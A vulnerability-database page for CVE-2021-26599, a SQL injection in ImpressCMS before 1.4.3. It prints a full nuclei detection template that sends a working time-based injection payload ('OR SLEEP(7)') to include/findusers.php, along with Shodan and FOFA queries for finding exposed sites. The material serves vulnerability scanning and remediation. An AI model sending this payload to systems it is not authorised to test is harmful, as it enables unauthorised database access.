HexBrain

Browse / CVEs / CVE-2021-26599

CVE-2021-26599· impresscms / impresscms· CWE-89

ImpressCMS < 1.4.3 - SQL Injection

highseverity
9.8CVSS score
21%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

ImpressCMS before 1.4.3 is vulnerable to SQL injection via the groups parameter in include/findusers.php, allowing unauthenticated attackers to execute arbitrary SQL queries.

Impact

Unauthenticated attackers can execute arbitrary SQL queries via SQL injection, potentially extracting sensitive database contents or modifying data.

Fix

Update ImpressCMS to version 1.4.3 or later.

How to confirm it

Send: GET /misc.php?action=showpopups&type=friend
Send: @timeout: 30s
Positive when: duration>=7 and status_code==200 and contains(body, "array(1) {")

Run it with nuclei: nuclei -id CVE-2021-26599 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-26599

info:
  name: ImpressCMS < 1.4.3 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    ImpressCMS before 1.4.3 is vulnerable to SQL injection via the groups parameter in include/findusers.php, allowing unauthenticated attackers to execute arbitrary SQL queries.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries via SQL injection, potentially extracting sensitive database contents or modifying data.
  remediation: |
    Update ImpressCMS to version 1.4.3 or later.
  reference:
    - https://hackerone.com/reports/1081145
    - http://karmainsecurity.com/KIS-2022-04
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26599
  classification:
    cve-id: CVE-2021-26599
    cwe-id: CWE-89
    epss-score: 0.20968
    epss-percentile: 0.97583
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    max-request: 1
    vendor: impresscms
    product: impresscms
    shodan-query: http.html:"ImpressCMS"
    fofa-query: body="ImpressCMS"
  tags: cve,cve2021,impresscms,sqli,time-based-sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /misc.php?action=showpopups&type=friend HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: token
        group: 1
        regex:
          - "REQUEST' value='(.*)'"
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /include/findusers.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_submit=1&token={{token}}&groups[]=1%20OR%20SLEEP(7)#

    matchers:
      - type: dsl
        dsl:
          - duration>=7
          - status_code==200
          - contains(body, "array(1) {")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from